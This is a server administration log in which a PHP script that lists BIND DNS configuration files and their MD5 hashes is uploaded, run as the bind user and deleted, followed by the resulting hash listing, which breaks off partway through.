MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 16:09:39: Establishing a connection
2026-02-09 16:09:39: 

PUT: /tmp/pkp610782

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 16:09:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp610782; rm /tmp/pkp610782'

2026-02-09 16:09:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-10 12:09:48: Establishing a connection
2026-02-10 12:10:05: Establishing a connection
2026-02-10 12:10:05: 

PUT: /tmp/pkp390126

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-10 12:10:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp390126; rm /tmp/pkp390126'

2026-02-10 12:10:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
